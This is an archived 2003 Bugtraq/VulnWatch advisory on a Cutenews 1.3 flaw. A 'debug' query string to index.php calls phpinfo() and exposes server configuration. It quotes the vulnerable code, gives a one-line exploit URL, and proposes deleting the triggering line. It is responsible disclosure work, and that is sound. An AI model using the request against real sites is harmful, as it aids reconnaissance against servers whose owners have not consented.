[VulnWatch] Cutenews 1.3 information disclosure

From: scrap (webmaster_at_securiteinfo.com)
Date: 11/30/03

  • Next message: Paul Starzetz: "[VulnWatch] [iSEC] Linux kernel do_brk() lacks argument bound checking"
    To: bugtraq@securityfocus.com, full-disclosure@lists.netsys.com
    Date: Sun, 30 Nov 2003 22:07:38 +0100
    
    

    .oO Overview Oo.

    Cutenews 1.3 information disclosure
    Discovered on 2003, July, 12th
    Vendor: CutePHP

    Cutenews is a powerful and easy for using news management system that use flat
    files to store its database. It supports comments and archives, search
    function, image uploading, backup function, IP banning, flood protection ...
    Mainely, the first job a hacker does, is to retreive a maximum of information
    from the target server. Cutenews can help much in this task.
    For more information, I suggest you to read "phpinfo() et la sÚcuritÚ" by
    frog-m@n (french document) at
    http://www.phpsecure.info/v2/article/Phpinfo-Security.php

    .oO Details Oo.

    In the file index.php, a condition can be made to execute the PHP function
    phpinfo(); Here is the interesting lines :

    if($HTTP_SERVER_VARS['QUERY_STRING'] == "debug"){ debug(); }
    ...
    function debug(){
       global $config_version_name, $config_version_id, $config_http_script_dir;
       echo"<center><b>CuteNews Debug Information:</b><hr><br>";
       echo"Script Version/ID: $config_version_name / $config_version_id<br>";
       echo"\$config_http_script_dir: $config_http_script_dir<br><BR>";
       echo"<hr>";
       phpinfo();

    exit();
    }

    .oO Exploit Oo.

    The exploit is really easy : Give the debug argument to the index.php :

    http://victim.com/cutenews/index.php?debug

    You will get the classical phpinfo page.

    .oO Solution Oo.

    We suggest to delete the following line from your index.php file :

    if($HTTP_SERVER_VARS['QUERY_STRING'] == "debug"){ debug(); }

    The vendor has been informed.

    .oO Discovered by Oo.

    Arnaud Jacques aka scrap
    webmaster@securiteinfo.com
    http://www.securiteinfo.com


  • Next message: Paul Starzetz: "[VulnWatch] [iSEC] Linux kernel do_brk() lacks argument bound checking"

    Relevant Pages

    • [Full-Disclosure] Cutenews 1.3 information disclosure
      ... Cutenews is a powerful and easy for using news management system that use flat ... I suggest you to read "phpinfo() et la sÚcuritÚ" by ... The exploit is really easy: Give the debug argument to the index.php: ... The vendor has been informed. ...
      (Full-Disclosure)
    • [VulnWatch] Cutenews 1.3 information disclosure
      ... Cutenews is a powerful and easy for using news management system that use flat ... I suggest you to read "phpinfo() et la sÚcuritÚ" by ... The exploit is really easy: Give the debug argument to the index.php: ... The vendor has been informed. ...
      (Full-Disclosure)
    • Cutenews 1.3 information disclosure
      ... Cutenews is a powerful and easy for using news management system that use flat ... I suggest you to read "phpinfo() et la sÚcuritÚ" by ... The exploit is really easy: Give the debug argument to the index.php: ... The vendor has been informed. ...
      (Full-Disclosure)
    • Cutenews 1.3 information disclosure
      ... Cutenews is a powerful and easy for using news management system that use flat ... I suggest you to read "phpinfo() et la sÚcuritÚ" by ... The exploit is really easy: Give the debug argument to the index.php: ... The vendor has been informed. ...
      (Bugtraq)